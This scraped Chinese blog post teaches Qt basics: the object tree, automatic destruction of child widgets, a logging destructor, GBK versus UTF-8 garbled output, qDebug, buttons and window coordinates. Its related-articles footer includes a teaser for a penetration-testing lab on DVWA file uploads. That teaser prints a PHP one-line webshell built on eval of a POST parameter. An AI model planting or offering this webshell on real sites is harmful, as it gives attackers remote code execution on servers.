【Qt】初识

一、使用Label显示Hello World

1.ui设计

可以在Qt Designer中拖拽方式进行创建

2.代码方式

在myqwidget.cpp文件中添加下列代码

二、对象树

我们在堆上创建了QLabel类的对象。但是我们没有去delete,这样会产生内存泄漏吗? 

答案是不会。label对象会在合适的时候(窗口被关闭或者被销毁)被析构释放(虽然没有手动写delete,但确实能释放)

为什么?

原因在于这个this。之所以能够把对象释放掉,主要是因为把这个对象挂在了对象树上。

前端开发(网页开发)也涉及到 类似的 对象树(DOM),本质也是一个树形结构(N叉树),通过树形结构把页面上的各种元素组织起来

Qt中也是类似,也是搞了一个对象树,N叉树,把界面上的各种元素组织起来了。

所以此处用new的方式创建对象,也就是把这个对象的生命周期交给Qt的对象树统一管理

当把对象改成在栈上创建,此时就可以看到,运行起来的程序就无法显示出我们所创建的label对象,此时label对象随着析构函数的结束,就销毁了。

模拟实现Qt自动释放对象机制

创建一个自定义的类,最主要的目的,是自定义一个析构函数,在析构函数中,完成打印,方便咱们看到最终的自动销毁对象树的效果

这是创建的MyQLabel类的头文件

小技巧:

1.在Qt Creator中,可以通过 F4 切换头文件和对应的 .cpp文件。

这是C++ IDE的常规功能

(比如在 Vim 中可以通过 :A 的方式来完成切换,也可以使用 :AT 的方式新开一个标签页来显示)

2.在点击成员函数上,按Alt+回车,再按回车,会自动生产.cpp文件中成员函数实现。

在mywidget.cpp文件中定义对象,并传this。

使用自己定义的MyQLabel代替原来的QLabel,所谓的 “继承” 本质上是拓展,保持原有功能不变的基础上,给对象扩展出一个析构函数,通过这个析构函数,打印一个自定义的日志,方便我们观察程序运行效果。

在myqlabel.cpp文件中,我们在析构函数中打印一条日志消息,

来让我们看看效果,注意:此时输出什么也没有

当我们关闭这个对话框时

就会出现一条消息。但是这个消息是乱码的。

但是日志消息是有的,说明析构函数是执行了。

虽然没有手动delete,但是由于把MyQLabel挂到了对象树上,此时窗口被销毁的时候,就会自动销毁对象树中的所有对象,MyQLabel的析构是执行到了。 

而乱码这个事情,我们以后会经常涉及到,乱码问题出现的原因,有且仅有一个(不局限于C++),就是编码方式不匹配。

目前,表示汉字字符集,主要是两种方式

  1. GBK,(中国大陆)使用2个这字节表示一个汉字,Windows简体中文版,默认的字符集就是GBK
  2. UTF-8/ utf8 变长编码,表示一个符号使用的字节数有变化,2-4,但是在utf8中,一个汉字。一般是3个字节。Linux默认就是utf8

如果你字符集本身是utf8编码的,但是终端(控制台)是按照gbk方式来解析显示的,此时就会出现乱码(拿着utf8的数值,去查询gbk的码表),此时就会出现乱码了!

那么如何查看当前文件是如何编码的呢?

先找到当前文件所处路径的文件夹,用记事本打开,就可以查看了。

如果显示的是UTF-8,就说明这个文件是用utf8进行编码的

如果显示的是ANSI,就说明这个文件是用GBK方式进行编码的。

而我们这个Qt 终端控制台的编码方式没有查询到。

所以Qt提供了一个函数,专门来打印消息qDebug().需要一个头文件,QDebug自动换行

qDebug是一个宏,封装了QDebug类的对象。

qDebug打印的调试日志,是可以统一进行关闭的。

三、使用Line Edit方式显示Hello World

可以通过Qt Designer中拖拽控件进行添加

代码方式 

 

四、通过按钮方式显示Hello World

ui中,Push Button就是一个普通按钮,如果想用,就可以使用拖拽

在Qt Designer中创建一个控件的时候,此时就会给这个控件分配一个objectName属性。

这个属性的值,要求是在界面中是唯一的(不能和别的控件重复)

qmake在预处理.ui文件的时候,就会根据这里的objectName生产对应的C++代码

C++代码中该QPushbutton对象的变量名字就是这里的objectName。这个变量就是ui属性的成员变量。

 纯代码方式:

在mywidget.h文件中定义成员变量MyButton 和 成员函数 Headler,在.cpp中实现

五、Qt窗口坐标系

坐标体系:以左上角为原点(0,0),X向右增加,Y向下增加。

 

move函数,用于调正控件的位置

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/661881.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【包装类简单认识泛型】

目录 1,包装类 1.1 基本数据类型和对应的包装类 1.2 装箱和拆箱 2,什么是泛型 3,引出泛型 3.1 语法 4,泛型如何编译的 4.1 擦除机制 4.2 为什么不能实例化泛型类型数组 5,泛型的上界 5.1 语法 5.2 复杂示例…

第16章-超声波跟随功能 基于STM32的三路超声波自动跟随小车 毕业设计 课程设计

第16章-超声波跟随功能 无PID跟随功能 //超声波跟随if(HC_SR04_Read() > 25){motorForward();//前进HAL_Delay(100);}if(HC_SR04_Read() < 20){motorBackward();//后退HAL_Delay(100);}PID跟随功能 在pid.c中定义一组PID参数 tPid pidFollow; //定距离跟随PIDpidFol…

【错误记录】HarmonyOS 运行报错 ( Failure INSTALL_PARSE_FAILED_USESDK_ERROR )

文章目录 一、报错信息二、问题分析三、解决方案 一、报错信息 在 DevEco Studio 中 , 使用 远程设备 , 向 P40 Failure[INSTALL_PARSE_FAILED_USESDK_ERROR] compileSdkVersion and releaseType of the app do not match the apiVersion and releaseType on the device. 二、…

Java网络编程之TCP协议核心机制(二)

目录 题外话 正题 滑动窗口机制 如果出现丢包问题怎么办?? 滑动窗口触发条件 流量控制 拥塞控制 小结 题外话 宿舍没有空调的感觉谁懂?!!! 人要蒸发了,八点自动热醒,直接强行学习 正题 我们继续讲解TCP协议核心机制 上篇博客讲完了,建立连接机制,确认应答机制,超时…

视频监控业务平台LntonCVS国标GB28181视频平台智慧城市应用方案

随着科技的不断进步&#xff0c;尤其是人工智能技术的飞速发展&#xff0c;视频应用已经超越了传统的视频监控、视频会议、视频通话和视频指挥调度等基本功能。它们正在向更加多元化、灵活化、融合化和智能化的方向发展。因此&#xff0c;建立一个视频AI中台变得至关重要。 通过…

ch3运输层--计算机网络期末复习(持续更新中)

运输层位于网络层之上 运输层协议提供的某些服务受到网络层协议的限制。比如,时限和带宽保证。 运输层也提供自己的特殊服务。比如,可靠数据传输服务,安全性服务。 网络层:两个主机之间的逻辑通信 运输层:两个进程之间的逻辑通信 网络地址:主机的标识(IP地址) 传输地址: …

RTT UART设备框架学习

UART简介 UART&#xff08;Universal Asynchronous Receiver/Transmitter&#xff09;通用异步收发传输器&#xff0c;UART 作为异步串口通信协议的一种&#xff0c;工作原理是将传输数据的每个字符一位接一位地传输。是在应用程序开发过程中使用频率最高的数据总线。 UART串…

Vitis HLS 学习笔记--块级控制协议-ap_ctrl_chain/ap_ctrl_hs/ap_ctrl_none

目录 1. 简介 2. 详细分析 2.1 使用场景区别 2.2 ap_continue 行为详解 2.3 ap_ctrl_chain 行为详解 3. 总结 1. 简介 块级控制协议允许硬件模块表明&#xff1a; 何时可以开始处理数据。何时完成了数据处理。以及何时处于空闲状态&#xff0c;准备接受新的数据输入。 …

LLAMA3==shenzhi-wang/Llama3-8B-Chinese-Chat。windows安装不使用ollama

创建环境&#xff1a; conda create -n llama3_env python3.10 conda activate llama3_env conda install pytorch torchvision torchaudio cudatoolkit11.7 -c pytorch 安装Hugging Face的Transformers库&#xff1a; pip install transformers sentencepiece 下载模型 ht…

【渗透测试】|文件上传

1、安装使用蚁剑 https://blog.csdn.net/weixin_42474304/article/details/116376746 1、登陆dvwa,进入初级文件上传&#xff0c;上传一句话木马文件cmd.php&#xff0c; //cmd.php <?php eval($_POST[ccit]); ?> //eval: 执行命令的函数 //ccit:一句话木马文件的参数…

随手记:多行文本域存数据有换行,回显数据换行展示

1.在新增的时候存储数据 <el-input type"textarea"v-model"XXXX"></el-input> 2.详情页返回的数据&#xff1a; replace一顿操作确实复杂 最快的方法直接写个样式:style"white-space: pre-line" 即可行内或者class样式都可以 …

【NumPy】深入理解NumPy的cov函数:计算协方差矩阵的完整指南

&#x1f9d1; 博主简介&#xff1a;阿里巴巴嵌入式技术专家&#xff0c;深耕嵌入式人工智能领域&#xff0c;具备多年的嵌入式硬件产品研发管理经验。 &#x1f4d2; 博客介绍&#xff1a;分享嵌入式开发领域的相关知识、经验、思考和感悟&#xff0c;欢迎关注。提供嵌入式方向…

了解可燃气体报警器的检测原理与注意事项

在工业、商业以及家庭生活中&#xff0c;可燃气体报警器作为安全监测的重要设备&#xff0c;发挥着不可忽视的作用。 那么&#xff0c;可燃气体报警器主要检测哪些气体呢&#xff1f; 接下来&#xff0c;佰德将从可燃气体种类、报警器工作原理、检测范围与精度、应用场景与重…

JavaWeb基础(一)-IO操作

Java I/O工作机制&#xff1a; 注&#xff1a;简要笔记&#xff0c;示例代码可能较少&#xff0c;甚至没有。 1、Java 的 I/O 类库的基本架构。 ​ Java 的 I/O 操作类在包 java.io 下&#xff0c;大概有将近80个类&#xff0c;这些类大概可以分为如下四组。 基于字节操作的…

前端基础入门:静态页面与动态页面的区别

什么是静态页面和动态页面&#xff1f; 通俗的来讲&#xff0c;静态页面是随着HTML代码的生成&#xff0c;页面的内容和显示效果就基本不会发生变化&#xff08;除非修改页面代码&#xff09;&#xff0c;而动态页面&#xff0c;虽然同样页面代码不发生变化&#xff0c;但是其…

【错题集-编程题】小红取数(动态规划 - 01 背包 + 同余)

牛客对应题目链接&#xff1a;小红取数_牛客题霸_牛客网 (nowcoder.com) 一、分析题目 这道题是不能用空间优化的。 同余原理 a % k x 和 b % k y <> (ab) % k 0 <> (xy) % k 0 状态表示 dp[i][j]&#xff1a;表示从前 i 个数中挑选&#xff0c;总和 %k 等于 j…

【class19】人工智能初步---语音识别(5)

【class19】 上节课&#xff0c;我们学习了&#xff1a;语音识别模型的结构和原理&#xff0c;同时调用创建好的AipSpeech客户端实现了语音转文字功能。 本节课&#xff0c;我们将初识字幕&#xff0c;学习这些知识点&#xff1a;1. srt字幕 2. 获取时间数据 …

OpenWrt 安装Quagga 支持ospf Bgp等动态路由协议 软路由实测 系列四

1 Quagga 是一个路由软件套件, 提供 OSPFv2,OSPFv3,RIP v1 和 v2,RIPng 和 BGP-4 的实现. 2 web 登录安装 #或者ssh登录安装 opkg install quagga quagga-zebra quagga-bgpd quagga-watchquagga quagga-vtysh # reboot 3 ssh 登录 #重启服务 /etc/init.d/quagga restart #…

揭秘IDM:数字资产管理的未来之星

在当今数字化时代&#xff0c;数字资产管理的重要性日益凸显。随着科技的飞速发展&#xff0c;越来越多的企业和个人开始关注如何有效管理和保护他们的数字资产。在这个过程中&#xff0c;IDM&#xff08;身份管理系统&#xff09;逐渐成为了热门话题。IDM作为一种新兴的技术手…

一个生动的例子——通过ERC20接口访问Tether合约

生动的例子 USDT&#xff1a;符合ERC20标准的美元稳定币&#xff0c;Tether合约获得测试网上Tether合约地址通过自己写的ERC20接口访问这个合约 Tether合约地址&#xff1a;0xdAC17F958D2ee523a2206206994597C13D831ec7 IERC20.sol // SPDX-License-Identifier: GPL-3.0pra…